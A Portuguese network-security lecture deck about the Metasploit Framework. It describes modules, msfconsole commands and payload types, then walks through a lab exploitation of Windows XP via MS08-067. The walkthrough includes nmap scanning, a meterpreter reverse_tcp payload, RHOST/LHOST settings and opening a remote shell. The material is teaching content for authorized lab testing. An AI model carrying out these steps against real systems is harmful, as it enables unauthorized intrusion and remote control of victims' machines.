Você está na página 1de 45

Segurança de Redes

Aula 05
Agenda de Aula
• Metasploit Framework

Segurança de Redes
Metasploit Framework

“If I had eight hours to chop down a tree, I’d spend the first six of them sharpening my axe.”

Abraham Lincoln

"Se eu tivesse oito horas para derrubar uma árvore, eu passaria as primeiras seis delas afiando meu machado."

Segurança de Redes
MSF
• Esta sentença lembra sempre que resolver um problema
com o conjunto certo de ferramentas é imperativo para
obter sucesso.

• O MSF é muito mais do que um conjunto de exploits, é


uma infraestrutura na qual você pode desenvolver e
utilizar de acordo com suas necessidades.

• Permite que você se concentre num alvo específico sem


ter de re-inventar a roda.

Segurança de Redes
MSF
Versões da ferramenta:

• Metasploit Framework (continua gratuito)

• Metasploit Express (paga)

• Metasploit Pro (paga)

• O grande diferencial das versões pagas são a automatização


de processos e geração de relatórios (maior praticidade).

• As versões pagas possuem uma interface web bem intuitiva,


produzem relatórios mais profissionais.

• Todas as versões são poderosas.

Segurança de Redes
MSF - Arquitetura

Segurança de Redes
MSF - Bibliotecas
REX
• A biblioteca básica para a maior quantidade de tarefas
• Lida com sockets, protocolos, conversões de texto e outros
• SSL, SMB, HTTP, XOR, Base64, Unicode

Msf::Core
• Fornece a API ‘basic’
• Define o Metasploit Framework

Msf::Base
• Fornece a API ‘friendly’
• Fornece APIs simplificadas para utilizar no Framework

Segurança de Redes
MSF - Módulos
Exploits
• Definido como módulos que usam payloads
• Um exploit sem um payload é um “módulo auxiliar”

Payloads, Encoders, Nops


• Payload é uma carga, um código que roda remotamente
• Os encoders garantem que os payloads cheguem ao seu destino
• Nops mantém o tamanho dos payloads consistentes

Segurança de Redes
MSF - Localizações
Árvore de módulos primários
• Localizado dentro de /opt/metasploit/msf3/modules/

Árvore de módulos especificados pelo usuário


• Localizados dentro de ~/.msf3/modules/
• Esta localização é ideal para conjuntos de módulos privados

Carregando árvores adicionais durante a execução


• Passe a opção –m ao rodar o msfconsole (msfconsole –m)
• Use o comando “loadpath” com o msfconsole

Segurança de Redes
MSF - Interfaces

• MSFConsole

• MSFcli

• Web

• Armitage

Segurança de Redes
MSF – Interfaces - MSFconsole

• É de longe a interface mais popular do Metasploit Framework.


Uma das mais flexíveis, funcionais e bem suportadas.

• Provê uma interface “all-in-one” para quase todas as opções e


configurações disponíveis no Framework.

• É possível utilizar o msfconsole para entrar num exploit, carregar


módulos auxiliares, fazer enumeração, criar listeners ou rodar
explorações em massa contra toda uma rede.

Segurança de Redes
MSF – Interfaces - MSFconsole
Benefícios:

• Algumas configurações do Metasploit são acessíveis apenas por


essa interface.

• Contém a maioria das configurações e é a interface mais estável


do MSF.

• Suporte a “full readline”, tabbing e complementação de


comandos.

• É possível executar comandos externos.

Segurança de Redes
MSF – Interfaces - MSFconsole
Entrando:

• Entra-se no msfconsole digitando “msfconsole” na linha de


comandos. O msfconsole por padrão está localizado no diretório
/opt/metasploit/msf3.

Segurança de Redes
MSF – Interfaces - MSFconsole
Ajuda:
• Você pode adicionar o parâmetro “-h” ao msfconsole para ver outras
opções de utilização: “msfconsole –h”.

• Entrando com o comando “help” ou “?” na linha de comandos do


msfconsole mostrará uma lista dos comandos disponíveis e sua
utilização.

Segurança de Redes
MSF – Interfaces - MSFconsole
Comandos do msfconsole

• back: se você já terminou de trabalhar num módulo em particular ou


entrou erroneamente num módulo, você pode utilizar o comando
“back” para sair do contexto atual.

• check: você pode verificar com o “check” se o alvo está vulnerável a


um exploit em particular ao antes de exploitá-lo (nem todos os
exploits suportam esse comando).

• connect: é um pequeno clone em miniatura do “netcat” dentro do


msfconsole que suporta SSL, proxies, envios de arquivos, etc.

• info: mostra informações detalhadas sobre um módulo em particular,


incluindo todas as opções, alvos e outras informações.

• jobs: fornece a habilidade de listar e terminar módulos rodando em


background.

Segurança de Redes
MSF – Interfaces - MSFconsole
• load: carrega um plug-in do diretório de plug-ins do Metasploit.
– loadpath: carrega uma árvore de módulos de terceiros, para que
você possa endereçar o Metasploit para “0-day exploits”, encoders,
payloads, etc.
– unload: descarrega um plugin que foi carregado anteriormente e
remove seus comandos extendidos.

• route: permite a você rotear soquetes numa sessão.

• save: permite salvar o estado das variáveis que estão definidas no


ambiente no exato momento, para que você não precise configurá-las
novamente ao reiniciar o Metasploit. Por padrão as configurações serão
salvas no “~/.msf3/config”.

• sessions: permite que você liste, interaja e elimine sessões. As


sessões podem ser de shell, sessões de meterpreter, VNC, etc.

Segurança de Redes
MSF – Interfaces - MSFconsole
• search: uma função de busca baseada em expressões
regulares. Se você tem apenas uma ideia genérica sobre o que
está procurando, pode encontrar através do comando “search”.
Este comando permite refinar buscas usando outras chaves de
sistemas:

– name: procura a chave no nome do módulo (search name:mysql)

– path: procura a chave no caminho do módulo (search path:admin)

– platform: procura a chave na plataforma do módulo (search


platform:aix)

– type: procura a chave por tipo de módulo: auxiliar, post, exploit, etc
(search type:post)

– author: procura a chave pelo nome do autor do módulo (search


author: dookie)
Segurança de Redes
MSF – Interfaces - MSFconsole
• set: permite que você defina as opções e parâmetros do módulo em
que está trabalhando no momento.
– unset: permite remover um parâmetro configurado previamente com o
“set”. O comando “unset all” zera todos os parâmetros configurados.

• setg: é possível definir o valor de uma variável globalmente no


msfconsole. Uma vez definida, ela poderá ser utilizada em diversos
exploits e modos auxiliares, economizando a digitação.

• show: exibe os módulos do Metasploit. É possível utilizar o comando


com outros parâmetros como “show auxiliary”, “show exploits”, “show
payloads”, “show encoders” e “show nops”.

• use: após decidir qual módulo deseja utilizar aplique o comando “use”
para selecioná-lo. Este comando troca seu contexto para o módulo
específico, permitindo que você utilize os comandos do módulo em
questão.

Segurança de Redes
MSF - Exploits
• Um exploit é um módulo pelo qual um atacante ou pentester se
aproveita de uma falha de um sistema, aplicação ou serviço.

• Um atacante usa um exploit para atacar um sistema de forma que o


resultado seja uma vulnerabilidade não esperada pelo desenvolvedor.

• Exploits comuns incluem “buffer overflow”, vulnerabilidades em


aplicações web (como “SQL injection”) e erros de configuração.

• Os exploits podem ser divididos em duas categorias: Ativos e Passivos.

Segurança de Redes
MSF - Exploits
• Exploits Ativos: exploits ativos irão explorar um host
específico, rodar até o final e sair.

• Módulos de força bruta irão sair quando um shell for aberto


no computador da vítima.

• Para a execução do módulo quando um erro for encontrado.

• Você pode forçar a execução de um módulo em background


passando a expressão “-j” ao comando de exploit.

Segurança de Redes
MSF - Exploits
• O exemplo a seguir faz uso de credenciais adquiridas
previamente para exploitar e obter um shell reverso no
sistema alvo.

Segurança de Redes
MSF - Exploits
• Exploits passivos: exploits passivos esperam por hosts entrarem e
rodam o exploit neles quando se conectam.

• Exploits passivos quase sempre focam em clientes como


navegadores web, clientes FTP, etc.

• Eles também podem ser utilizados juntamente com exploits de e-


mail, esperando por conexões.

• Shell de Exploits passivos, a medida que forem acontecendo,


podem ser enumerados passando o parâmetro “-l” as sessões de
comandos. A opção “-i” irá interagir com um shell.

Segurança de Redes
MSF - Exploits
• O exemplo a seguir mostra a configuração para exploitar
a vulnerabilidade do cursor animado. O exploit não é
disparado até que a vítima navegue no site malicioso do
atacante.

Segurança de Redes
MSF - Payloads
• Um payload é um código que nós desejamos que o sistema execute, o que significa ser
selecionado e entregue pelo framework.

• Por exemplo, um “shell reverso” é um payload que cria uma conexão da máquina alvo
para o computador do atacante na forma de um prompt de comandos do Windows.

• Um “bind shell” é um payload que “liga” um prompt de comando a uma porta


específica no estado de “escuta” no computador alvo, no qual o atacante pode
conectar-se.

• Um payload também pode ser algo simples como alguns poucos comandos que devam
ser executados no sistema operacional da vítima.

O metasploit contém diversos tipos


diferentes de payloads, cada um servindo a
regras únicas no framework.

Segurança de Redes
MSF - Payloads
• Inline (no staged): um payload único contendo um exploit e um código shell
completo para a tarefa selecionada. Payloads Inline são, por definição, mais
estáveis que os demais por conterem tudo em um único payload. Entretanto,
alguns exploits não suportarão o tamanho resultante desse payload.

• Staged: Payloads stager trabalham em conjunto com payloads staged para


executar uma tarefa específica. Um stager, estabelece um canal de
comunicação entre o atacante e a vítima e carrega um payload “stage” para
executar no host remoto.

Segurança de Redes
MSF - Payloads
• Meterpreter: A abreviação de Meta-Interpreter é um payload avançado e
multi-facetado que opera via injeção de dll. O Meterpreter fica armazenado
completamente na memória do host remoto e não deixa rastros no disco
rígido, dificultando a detecção de técnicas forenses convencionais.

• PassiveX: O PassiveX é um payload que pode ajudar a burlar firewalls de saída


restritivos. Ele faz isso usando um controle ActiveX para criar uma instância
escondida do Internet Explorer. Usando esse novo controle ActiveX, ele se
comunica com o atacante através de solicitações e respostas HTTP.

Segurança de Redes
MSF - Payloads
• NoNX: O bit NX (No eXecute), é uma funcionalidade de algumas CPUs
que evitam que um código seja executado em certas áreas da memória.
No Windows o NX é implementado como o DEP – Data Execution
Prevention. O payload NoNX do Metasploit foi desenvolvido para burlar
o DEP.

• Ord: Os payloads ORDinários (comuns) trabalham com qualquer versão


e linguagem de Windows a partir do 9x sem a necessidade de uma
definição explícita de versão. E também são extremamente pequenos. É
um pouquinho menos estável que os demais.

Segurança de Redes
MSF - Payloads

• IPv6: Específico para o protocolo IPv6.

• Reflective DLL Injection: é uma técnica onde um payload do tipo “stage”


é injetado em um processo rodando na memória de um host
comprometido, nunca encostando no HD da vítima. Os payloads VNC e
Meterpreter fazem uso desse payload.

Segurança de Redes
Exemplo - MSF

Segurança de Redes
Exemplo
Cenário:
• Vítima
- Máquina virtual no Oracle Virtual Box com adaptador de rede configurado como "Rede Interna".
- Instalado Windows XP SP2.
- IP 192.168.1.100.

Atacante
- Máquina virtual no Oracle Virtual Box com adaptador de rede configurado como "Rede Interna".
- Rodando Live CD doBacktrack
- IP 192.168.1.50.
Aqui verificamos que a vítima está rodando o Windows XP SP2 e configuramos sua rede:

Segurança de Redes
Exemplo
Na máquina do atacante, rodando o Live CD do Backtrack,
configuramos a rede com o comando "ifconfig eth0
192.168.1.50 netmask 255.255.255.0".

Como ambos os adaptadores das máquinas virtuais estão como


"Rede Interna" e elas estão na mesma rede, elas já podem se
pingar.

Segurança de Redes
Exemplo
Uma vez que as máquinas já se enxergam, vamos abrir a interface
gráfica do Backtrack com o comando "starxt".

Com a interface aberta navegue até "Applications" -> "Backtrack" ->


"Explotation Tools" -> "Network Explotation Tools" -> "Metasploit
Framework" -> "msfconsole". (note que você também poderia ter
aberto o framework digitando simplesmente "msfconsole"
diretamente na linha de comandos).

Segurança de Redes
Exemplo
Agora é hora de verificar quais portas abertas o computador da vítima possui usando o “nmap”. Nessa
sintaxe, utilizaremos um arquivo de script para checar se o computador remoto é vulnerável a alguns ataques
específicos, no nosso caso, ao MS08-067, uma vulnerabilidade do Windows RPC que pode permitir a execução
remota de comandos.

A sintaxe do comando é: nmap -A --script=smb-check-vulns -P0 192.168.1.100.

Note na tela abaixo que o nmap ja verifica se o sistema está ou não vulnerável ao MS08-067. É muito
importante não rodar essa checagem num ambiente de produção pois existe uma grande possibilidade de ela
travar o sistema remoto, então novamente, execute em ambiente controlado.

Segurança de Redes
Exemplo
Agora que sabemos que o sistema é vulnerável, vamos
procurá-lo para saber exatamente o nome do exploit que
precisamos utilizar com o comando "search ms08-067".

Encontrado o exploit, vamos utilizá-lo com o comando "use


exploit/windows/smb/ms08_067_netapi“.

Segurança de Redes
Exemplo
Agora que já selecionamos o exploit a ser utilizado, vamos analisar as opções que
ele precisa para executar.

Atente a coluna "Required", que informa se uma determinada variável é requerida


ou não para execução do exploit.

Digite "show options".Veja que a variável "RHOST" é necessária pois trata-se


justamente do host remoto (computador da vítima), e não está preenchido.

Segurança de Redes
Exemplo
Vamos verificar quais os payloads disponíveis para esse
exploit. Digite o comando "show payloads".

Segurança de Redes
Exemplo
Uma lista com diversos payloads será exibida.

Vamos escolher o meterpreter/reverse_tcp, que permitirá uma conexão


reversa da máquina da vítima para a minha máquina na porta 4444.

Defina o payload com o comando "set PAYLOAD


windows/meterpreter/reverse_tcp".

Segurança de Redes
Exemplo
Se olharmos as opções novamente, agora teremos acesso as variáveis
necessárias do exploit, do payload e também do alvo (target).

Veja que o RHOST (host remoto ou máquina da vítima) e o LHOST (a


máquina local ou a máquina do atacante) ainda não estão preenchidos.

Segurança de Redes
Exemplo
Ao invés de utilizarmos o target automático como a
imagem acima sugere, vamos verificar quais são os
alvos disponíveis para refinarmos nosso ataque.

Digite na console o comando "show targets" e uma


lista com diversos sistemas alvo será exibida na sua
tela.

Como o Windows que fizemos o teste é em português,


utilizaremos o target "34".

Segurança de Redes
Exemplo
Hora de definir as variáveis.
Vamos definir o target como 34 através do comando "set
TARGET 34". Vamos definir também as demais variáveis
necessárias. Digite os comandos "set RHOST
192.168.1.100" e "set LHOST 192.168.1.50".

Segurança de Redes
Exemplo
Se você exibir suas configurações novamente, verá que
todas as variáveis já foram definidas.

Segurança de Redes
Exemplo
Uma vez que todas as variáveis foram configuradas, vamos
rodar finalmente o exploit com o comando "exploit".

Veja que a conexão foi bem sucedida "Meterpreter session


1 opened 192.168.1.50:4444 -> 192.168.1.100:1050".

Segurança de Redes
Exemplo
Executando o comando "help", você pode ver a
quantidade de comandos que podem ser digitados nessa
sessão aberta no computador do usuário.

Segurança de Redes
Exemplo
Note que na seção de comandos de sistema, temos um
comando chamado "shell", que abre um shell de
comandos no sistema remoto.

Digite então "shell" e veja que você agora está logado no


sistema remoto com um shell no "C:\Windows\System32"

Segurança de Redes
Técnicas de invasão – Wi-fi
• Bibliografia

• http://www.offensive-security.com/metasploit-
unleashed/Service_Identification

• KENNEDY, David, O’GORMANN, Jim. METASPLOIT


– The Penetration Tester’s Guide.

Segurança de Redes

Você também pode gostar